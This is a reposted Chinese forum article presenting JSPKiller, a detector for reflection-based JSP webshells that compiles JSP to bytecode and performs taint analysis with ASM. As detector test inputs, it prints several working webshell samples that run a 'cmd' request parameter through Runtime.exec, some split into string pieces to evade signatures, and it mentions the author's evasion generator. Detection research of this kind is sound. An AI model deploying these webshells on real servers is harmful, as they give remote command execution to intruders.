安全矩阵

 找回密码
 立即注册
搜索
查看: 2608|回复: 0

基于污点分析的JSP Webshell检测

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-13 20:18:58 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-12-13 20:20 编辑

原文链接:基于污点分析的JSP Webshell检测

该文章首发于先知社区:https://xz.aliyun.com/t/10622
0x00 前言
在11月初,我做了一些JSP Webshell的免杀研究,主要参考了三梦师傅开源的代码。然后加入了一些代码混淆手段,编写了一个免杀马生成器JSPHorse,没想到在Github上已收获500+的Star
做安全只懂攻击不够,还应该懂防御
之前只做了一些免杀方面的事情,欠缺了防御方面的思考
于是我尝试自己做一个JSP Webshell的检测工具,主要原理是ASM做字节码分析并模拟执行,分析栈帧(JVM Stack Frame)得到结果
只输入一个JSP文件即可进行这一系列的分析,大致需要以下四步
  •         解析输入的JSP文件转成Java代码文件
  •         使用ToolProvider获得JavaCompiler动态编译Java代码
  •         编译后得到的字节码用ASM进行分析
  •         基于ASM模拟栈帧的变化实现污点分析

类似之前写的工具CodeInspector,不过它是半成品只能理论上的学习研究,而这个工具是可以落地进行实际的检测,下面给大家展示下检测效果
0x01 效果

时间原因只做了针对于反射型JSP Webshell的检测
效果还是不错的,各种变形都可以轻松检测出
关于反射马的讲解,可以看我在B站做的视频:https://www.bilibili.com/video/BV1L341147od
来个基本的反射马:1.jsp
  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3.    String cmd = request.getParameter("cmd");
  4.    Class rt = Class.forName("java.lang.Runtime");
  5.    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
  6.    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
  7.    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
  8.    java.io.InputStream in = process.getInputStream();
  9.    out.print("<pre>");
  10.    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  11.    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  12.    String s = null;
  13.    while ((s = stdInput.readLine()) != null) {
  14.        out.println(s);
  15.   }
  16.    out.print("</pre>");
  17. %>
复制代码

查出是Webshell
如果把字符串给拆出来:2.jsp
  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3.    String cmd = request.getParameter("cmd");
  4.    String name = "java.lang.Runtime";
  5.    Class rt = Class.forName(name);
  6.    String runtime = "getRuntime";
  7.    java.lang.reflect.Method gr = rt.getMethod(runtime);
  8.    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
  9.    Object obj = gr.invoke(null);
  10.    Process process = (Process) ex.invoke(obj, cmd);
  11.    java.io.InputStream in = process.getInputStream();
  12.    out.print("<pre>");
  13.    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  14.    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  15.    String s = null;
  16.    while ((s = stdInput.readLine()) != null) {
  17.        out.println(s);
  18.   }
  19.    out.print("</pre>");
  20. %>

复制代码


查出是Webshell

进一步变化,拆开字符串:3.jsp
  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3.    String cmd = request.getParameter("cmd");
  4.    String name = "java.lang."+"Runtime";
  5.    Class rt = Class.forName(name);
  6.    String runtime = "getRu"+"ntime";
  7.    java.lang.reflect.Method gr = rt.getMethod(runtime);
  8.    String exec = "ex"+"ec";
  9.    java.lang.reflect.Method ex = rt.getMethod(exec, String.class);
  10.    Object obj = gr.invoke(null);
  11.    Process process = (Process) ex.invoke(obj, cmd);

  12.    java.io.InputStream in = process.getInputStream();
  13.    out.print("<pre>");
  14.    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  15.    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  16.    String s = null;
  17.    while ((s = stdInput.readLine()) != null) {
  18.        out.println(s);
  19.   }
  20.    out.print("</pre>");
  21. %>
复制代码

或者合并成一行
  1. Process process = (Process) Class.forName("java.lang.Runtime")
  2.           .getMethod("exec", String.class)
  3.           .invoke(Class.forName("java.lang.Runtime")
  4.                           .getMethod("getRuntime").invoke(null), cmd);
  5.    java.io.InputStream in = process.getInputStream();
复制代码

都可以查出是Webshell
如果是正常逻辑,和执行命令无关:4.jsp
  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3.    String cmd = request.getParameter("cmd");
  4.    Class rt = Class.forName("java.lang.String");
  5.    java.lang.reflect.Method gr = rt.getMethod("getBytes");
  6.    java.lang.reflect.Method ex = rt.getMethod("getBytes");
  7.    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
  8.    java.io.InputStream in = process.getInputStream();
  9.    out.print("<pre>");
  10.    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  11.    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  12.    String s = null;
  13.    while ((s = stdInput.readLine()) != null) {
  14.        out.println(s);
  15.   }
  16.    out.print("</pre>");
  17. %>
复制代码

那么不会存在误报

0x03 JSP处理
第一步我们需要把输入的JSP转为Java代码,之所以这样做因为JSP无法直接变成字节码
原理其实简单:造一个模板类,把JSP的<% xxx %>中的xxx填入模板
模板如下,简单取了三个JSP中常用的变量放入参数
  1. package org.sec;

  2. import javax.servlet.http.HttpServletRequest;
  3. import javax.servlet.http.HttpServletResponse;
  4. import java.io.PrintWriter;

  5. @SuppressWarnings("unchecked")
  6. public class Webshell {
  7.    public static void invoke(HttpServletRequest request,
  8.                              HttpServletResponse response,
  9.                              PrintWriter out) {
  10.        try {
  11.            __WEBSHELL__
  12.       } catch (Exception e) {
  13.            e.printStackTrace();
  14.       }
  15.   }
  16. }

复制代码

简单做了一下解析,可能会存在BUG但在当前的情景下完全够用
  1. byte[] jspBytes = Files.readAllBytes(path);
  2. String jspCode = new String(jspBytes);
  3. // 置空为了后续分割字符串
  4. jspCode = jspCode.replace("<%@", "");
  5. // 得到<% xxx %>的xxx
  6. String tempCode = jspCode.split("<%")[1];
  7. String finalJspCode = tempCode.split("%>")[0];
  8. // 从Resource里读出模板
  9. InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java");
  10. if (inputStream == null) {
  11.    logger.error("read template error");
  12.    return;
  13. }
  14. // 读InputStream
  15. StringBuilder resultBuilder = new StringBuilder();
  16. InputStreamReader ir = new InputStreamReader(inputStream);
  17. BufferedReader reader = new BufferedReader(ir);
  18. String lineTxt = null;
  19. while ((lineTxt = reader.readLine()) != null) {
  20.    resultBuilder.append(lineTxt).append("\n");
  21. }
  22. ir.close();
  23. reader.close();
  24. // 替换模板文件
  25. String templateCode = resultBuilder.toString();
  26. String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode);
  27. // 使用了google-java-format库做了下代码格式化
  28. // 仅仅为了好看,没有功能上的影响
  29. String formattedCode = new Formatter().formatSource(finalCode);
  30. // 写入文件
  31. Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));
复制代码

上面代码有一处坑:想从打包后的Jar的Resource里读东西必须用getResourceAsStream,如果用URI的方式会报错。另外这里用Main.class.getClassLoader()是为了读到classes根目录经过处理后JSP变成这样的代码,可以使用Javac命令手动编译
  1. package org.sec;

  2. import javax.servlet.http.HttpServletRequest;
  3. import javax.servlet.http.HttpServletResponse;
  4. import java.io.PrintWriter;

  5. @SuppressWarnings("unchecked")
  6. public class Webshell {
  7. public static void invoke(
  8.      HttpServletRequest request, HttpServletResponse response, PrintWriter out) {
  9.    try {

  10.      String cmd = request.getParameter("cmd");
  11.      Class rt = Class.forName("java.lang.Runtime");
  12.      java.lang.reflect.Method gr = rt.getMethod("getRuntime");
  13.      java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
  14.      Process process = (Process) ex.invoke(gr.invoke(null), cmd);
  15.      java.io.InputStream in = process.getInputStream();
  16.      out.print("<pre>");
  17.      java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  18.      java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  19.      String s = null;
  20.      while ((s = stdInput.readLine()) != null) {
  21.        out.println(s);
  22.     }
  23.      out.print("</pre>");

  24.   } catch (Exception e) {
  25.      e.printStackTrace();
  26.   }
  27. }
  28. }
复制代码


0x04 动态编译
手动编译的时候其实有一个坑:系统不包含servlet相关的库,所以会报错
这个好解决,只需要一个参数javac Webshell.java -cp javax.servlet-api.jar
在网上查了下如何动态编译,这个代码还是比较多的
但都没有设置参数,我们情况特殊需要classpath参数,最终看官方文档得到了答案
  1. JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
  2. StandardJavaFileManager fileManager = compiler.getStandardFileManager(
  3.     null, null, null);
  4. Iterable<? extends JavaFileObject> compilationUnits = fileManager.getJavaFileObjects(
  5.     new File("Webshell.java"));
  6. // 加入参数
  7. List<String> optionList = new ArrayList<>();
  8. optionList.add("-classpath");
  9. optionList.add("lib.jar");
  10. // 不需要打印多余的东西
  11. optionList.add("-nowarn");
  12. JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager,
  13.                                                      null, optionList, null, compilationUnits);
  14. task.call();
复制代码

通过以上的代码会得到一个Webshell.class的字节码文件,这就是我们真正需要的东西这里同样有一个坑:ToolProvider.getSystemJavaCompiler()这句话在java -jar xxx.jara的情况下是空指针,通过查询解决办法,发现需要在JDK/JRE的lib加入tools.jar并且将环境变量配到JDK/bin而不是JDK/JRE/bin或JRE/bin
当我们动态编译Webshell.java到Webshell.class后,读取字节码到内存中,就可以删除这两个临时文件了
  1. byte[] classData = Files.readAllBytes(Paths.get("Webshell.class"));
  2. Files.delete(Paths.get("Webshell.class"));
  3. Files.delete(Paths.get("Webshell.java"));
复制代码



0x05 模拟栈帧
JVM在每次方法调用均会创建一个对应的Frame,方法执行完毕或者异常终止,Frame被销毁
而每个Frame的结构如下,主要由本地变量数组(local variables)和操作栈(operand stack)组成
局部变量表所需的容量大小是在编译期确定下来的,表中的变量只在当前方法调用中有效
JVM把操作数栈作为它的工作区——大多数指令都要从这里弹出数据,执行运算,然后把结果压回操作数栈
参考我在Github的代码,该类构造了Operand Stack和Local Variables Array并模拟操作
在用ASM技术解析class文件的时候,模拟他们在JVM中执行的过程,实现数据流分析

使用代码模拟两大数据结构
  1. public void visitCode() {
  2.     super.visitCode();
  3.     localVariables.clear();
  4.     operandStack.clear();

  5.     if ((this.access & Opcodes.ACC_STATIC) == 0) {
  6.         localVariables.add(new HashSet<>());
  7.     }
  8.     for (Type argType : Type.getArgumentTypes(desc)) {
  9.         for (int i = 0; i < argType.getSize(); i++) {
  10.             localVariables.add(new HashSet<>());
  11.         }
  12.     }
  13. }
复制代码

在进入方法的时候,JVM会初始化这两大数据结构
  •         清空已有的元素
  •         根据函数入参做初始化
  1. public void visitCode() {
  2.     super.visitCode();
  3.     localVariables.clear();
  4.     operandStack.clear();

  5.     if ((this.access & Opcodes.ACC_STATIC) == 0) {
  6.         localVariables.add(new HashSet<>());
  7.     }
  8.     for (Type argType : Type.getArgumentTypes(desc)) {
  9.         for (int i = 0; i < argType.getSize(); i++) {
  10.             localVariables.add(new HashSet<>());
  11.         }
  12.     }
  13. }
复制代码

在方法执行的时候,对这两种数据结构进行POP/PUSH等操作,随便选了其中一部分供参考
  1. @Override
  2. public void visitInsn(int opcode) {
  3.     Set<T> saved0, saved1, saved2, saved3;
  4.     sanityCheck();
  5.     switch (opcode) {
  6.         case Opcodes.NOP:
  7.             break;
  8.         case Opcodes.ACONST_NULL:
  9.         case Opcodes.ICONST_M1:
  10.         case Opcodes.ICONST_0:
  11.         case Opcodes.ICONST_1:
  12.         case Opcodes.ICONST_2:
  13.         case Opcodes.ICONST_3:
  14.         case Opcodes.ICONST_4:
  15.         case Opcodes.ICONST_5:
  16.         case Opcodes.FCONST_0:
  17.         case Opcodes.FCONST_1:
  18.         case Opcodes.FCONST_2:
  19.             operandStack.push();
  20.             break;
  21.         case Opcodes.LCONST_0:
  22.         case Opcodes.LCONST_1:
  23.         case Opcodes.DCONST_0:
  24.         case Opcodes.DCONST_1:
  25.             operandStack.push();
  26.             operandStack.push();
  27.             break;
  28.         case Opcodes.IALOAD:
  29.         case Opcodes.FALOAD:
  30.         case Opcodes.AALOAD:
  31.         case Opcodes.BALOAD:
  32.         case Opcodes.CALOAD:
  33.         case Opcodes.SALOAD:
  34.             operandStack.pop();
  35.             operandStack.pop();
  36.             operandStack.push();
  37.         ......
  38.     }
  39. }
复制代码

为什么能够这样操作,参考Oracle的JVM指令文档:官方文档上文其实略枯燥,接下来结合实例和大家画图分析,这将会一目了然
0x06 检测实现

新建一个ClassVisitor用于分析字节码,以下这三部是ASM规定的分析字节码方式
  1. ClassReader cr = new ClassReader(classData);
  2. ReflectionShellClassVisitor cv = new ReflectionShellClassVisitor();
  3. cr.accept(cv, ClassReader.EXPAND_FRAMES);
复制代码

大家需要注意ASM是观察者模式,需要理解阻断传递的思想其实ReflectionShellClassVisitor不是重点,因为我们的JSP Webshell逻辑都写在Webshell.invoke方法中,所以检测逻辑在ReflectionShellMethodAdapter类中
  1. // 继承自ClassVisitor
  2. public class ReflectionShellClassVisitor extends ClassVisitor {
  3.     private String name;
  4.     private String signature;
  5.     private String superName;
  6.     private String[] interfaces;

  7.     public ReflectionShellClassVisitor() {
  8.         // 基于JDK8做解析
  9.         super(Opcodes.ASM8);
  10.     }

  11.     @Override
  12.     public void visit(int version, int access, String name, String signature,
  13.                       String superName, String[] interfaces) {
  14.         super.visit(version, access, name, signature, superName, interfaces);
  15.         // 当前类目描述符父类名等信息有可能用到
  16.         this.name = name;
  17.         this.signature = signature;
  18.         this.superName = superName;
  19.         this.interfaces = interfaces;
  20.     }

  21.     @Override
  22.     public MethodVisitor visitMethod(int access, String name, String descriptor,
  23.                                      String signature, String[] exceptions) {
  24.         MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
  25.         // 不用关注构造方法只分析invoke方法即可
  26.         if (name.equals("invoke")) {
  27.             // 稍后分析该类
  28.             ReflectionShellMethodAdapter reflectionShellMethodAdapter = new ReflectionShellMethodAdapter(
  29.                     Opcodes.ASM8,
  30.                     mv, this.name, access, name, descriptor, signature, exceptions,
  31.                     analysisData
  32.             );
  33.             // 出于兼容性的考虑向后传递
  34.             return new JSRInlinerAdapter(reflectionShellMethodAdapter,
  35.                     access, name, descriptor, signature, exceptions);
  36.         }
  37.         return mv;
  38.     }
  39. }
复制代码


重点放在ReflectionShellMethodAdapter类
首先我们要确认可控参数,也就是污点分析里的Source,不难得出来自于request.getParameter
这一步的字节码如下
  1.     ALOAD 0
  2.     LDC "cmd"
  3.     INVOKEINTERFACE javax/servlet/http/HttpServletRequest.getParameter (Ljava/lang/String;)Ljava/lang/String; (itf)
  4.     ASTORE 3
复制代码

这四步过程如下:
  •         调用方法非STATIC所以需要压栈一个this对象
  •         方法执行时弹出参数,方法执行后栈顶是返回值保存至局部变量表

我们可以在INVOKEINTERFACE的时候编写如下代码
  1. @Override
  2. public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
  3.     if (opcode == Opcodes.INVOKEINTERFACE) {
  4.         // 是否符合request.getParameter()调用
  5.         boolean getParam = name.equals("getParameter") &&
  6.             owner.equals("javax/servlet/http/HttpServletRequest") &&
  7.             desc.equals("(Ljava/lang/String;)Ljava/lang/String;");
  8.         if (getParam) {
  9.             // 注意一定先让父类模拟弹栈调用操作,模拟完栈顶是返回值
  10.             super.visitMethodInsn(opcode, owner, name, desc, itf);
  11.             logger.info("find source: request.getParameter");
  12.             // 给这个栈顶设置个flag:get-param以便于后续跟踪
  13.             operandStack.get(0).add("get-param");
  14.             return;
  15.         }
  16.     }
  17. }
复制代码

接下来看反射的第一句Class.forName("java.lang.Runtime")
  1.     LDC "java.lang.Runtime"
  2.     INVOKESTATIC java/lang/Class.forName (Ljava/lang/String;)Ljava/lang/Class;
  3.     ASTORE 4
复制代码

由于调用STATIC方法不需要this然后返回值保存在局部变量表第5位
这里我给反射三步的LDC分别给上自己的flag做跟踪
注意到LDC命令执行完后保存至栈顶
  1. @Override
  2. public void visitLdcInsn(Object cst) {
  3.     if(cst.equals("java.lang.Runtime")){
  4.         super.visitLdcInsn(cst);
  5.         operandStack.get(0).add("ldc-runtime");
  6.         return;
  7.     }
  8.     if(cst.equals("getRuntime")){
  9.         super.visitLdcInsn(cst);
  10.         operandStack.get(0).add("ldc-get-runtime");
  11.         return;
  12.     }
  13.     if(cst.equals("exec")){
  14.         super.visitLdcInsn(cst);
  15.         operandStack.get(0).add("ldc-exec");
  16.         return;
  17.     }
  18.     super.visitLdcInsn(cst);
  19. }

复制代码


下一句rt.getMethod("getRuntime")稍微复杂
  1.     ALOAD 4
  2.     LDC "getRuntime"
  3.     ICONST_0
  4.     ANEWARRAY java/lang/Class
  5.     INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  6.     ASTORE 5
复制代码

中间主要是多了一步ANEWARRAY操作

这个染成黄色的过程在代码中如下
  1. @Override
  2. public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
  3.     if(opcode==Opcodes.INVOKEVIRTUAL){
  4.         boolean getMethod = name.equals("getMethod") &&
  5.             owner.equals("java/lang/Class") &&
  6.             desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");
  7.         if(getMethod){
  8.             if(operandStack.get(1).contains("ldc-get-runtime")){
  9.                 super.visitMethodInsn(opcode, owner, name, desc, itf);
  10.                 logger.info("-> get getRuntime method");
  11.                 operandStack.get(0).add("method-get-runtime");
  12.                 return;
  13.             }
  14.         }
  15.     }
复制代码

下一步是rt.getMethod("exec", String.class)和上面几乎一致,不过数组里添加了元素
  1.    ALOAD 4
  2.     LDC "exec"
  3.     ICONST_1
  4.     ANEWARRAY java/lang/Class
  5.     DUP
  6.     ICONST_0
  7.     LDC Ljava/lang/String;.class
  8.     AASTORE
  9.     INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  10.     ASTORE 6
复制代码

这一步几乎重复,就不再画图了,可以看出最后保存到局部变量表第7位其中陌生的命令有DUP和AASTORE两个,暂不分析,我们在method.invoke中细说
代码中的处理类似
  1. @Override
  2. public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
  3.     if(opcode==Opcodes.INVOKEVIRTUAL){
  4.         boolean getMethod = name.equals("getMethod") &&
  5.             owner.equals("java/lang/Class") &&
  6.             desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");
  7.         if(getMethod){
  8.             if(operandStack.get(1).contains("ldc-exec")){
  9.                 super.visitMethodInsn(opcode, owner, name, desc, itf);
  10.                 logger.info("-> get exec method");
  11.                 operandStack.get(0).add("method-exec");
  12.                 return;
  13.             }
  14.         }
  15.     }

复制代码

接下来该最关键的一行了:ex.invoke(gr.invoke(null), cmd)
  1.   ALOAD 6
  2.     ALOAD 5
  3.     ACONST_NULL
  4.     ICONST_0
  5.     ANEWARRAY java/lang/Object
  6.     INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
  7.     ICONST_1
  8.     ANEWARRAY java/lang/Object
  9.     DUP
  10.     ICONST_0
  11.     ALOAD 3
  12.     AASTORE
  13.     INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
复制代码

第一步的INVOKEVIRTUAL只是得到了Runtime对象第二步的INVOKEVIRTUAL才是exec(obj,cmd)执行命令的代码
所以我们重点从第二步分析
  1. ICONST_1
  2.     ANEWARRAY java/lang/Object
  3.     DUP
  4.     ICONST_0
  5.     ALOAD 3
  6.     AASTORE
  7.     INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;

复制代码

在AASTORE之前的过程如下(防止干扰栈中存在的其他元素没有画出)
  •         之所以要DUP正是因为AASTORE需要消耗一个数组引用
  •         这里的ICONST_1代表初始化数组长度为1

AASTORE和INVOKE的过程如下(之前在栈中没有画出的元素都补充到)

注意其中的细节
  •         消耗一个数组做操作实际上另一个数组引用对象也改变了,换句话说加入了cmd参数
所以我们需要手动处理下AASTORE情况以便于让参数传递下去
  1.     @Override
  2.     public void visitInsn(int opcode) {
  3.         if(opcode==Opcodes.AASTORE){
  4.             if(operandStack.get(0).contains("get-param")){
  5.                 logger.info("store request param into array");
  6.                 super.visitInsn(opcode);
  7.                 // AASTORE模拟操作之后栈顶是数组引用
  8.                 operandStack.get(0).clear();
  9.                 // 由于数组中包含了可控变量所以设置flag
  10.                 operandStack.get(0).add("get-param");
  11.                 return;
  12.             }
  13.         }
  14.         super.visitInsn(opcode);
  15.     }
复制代码

至于最后一步的判断就很简单了
  1. @Override
  2. public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
  3.     if(opcode==Opcodes.INVOKEVIRTUAL){
  4.         boolean invoke = name.equals("invoke") &&
  5.             owner.equals("java/lang/reflect/Method") &&
  6.             desc.equals("(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;");
  7.         if(invoke){
  8.             // AASTORE中设置的参数
  9.             if(operandStack.get(0).contains("get-param")){
  10.                 // 如果栈中第3个元素是exec的Method
  11.                 if(operandStack.get(2).contains("method-exec")){
  12.                     // 认为造成了RCE
  13.                     logger.info("find reflection webshell!");
  14.                     super.visitMethodInsn(opcode, owner, name, desc, itf);
  15.                     return;
  16.                 }
  17.                 super.visitMethodInsn(opcode, owner, name, desc, itf);
  18.                 logger.info("-> method exec invoked");
  19.             }
  20.         }
  21.     }
  22.     super.visitMethodInsn(opcode, owner, name, desc, itf);
  23. }

复制代码

其实栈中第2个元素也可以判断下,我简化了一些不必要的操作
0x07 总结
代码在:https://github.com/EmYiQing/JSPKiller
后续考虑加入其他的一些检测,师傅们可以试试Bypass手段哈哈


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-30 01:07 , Processed in 0.014774 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表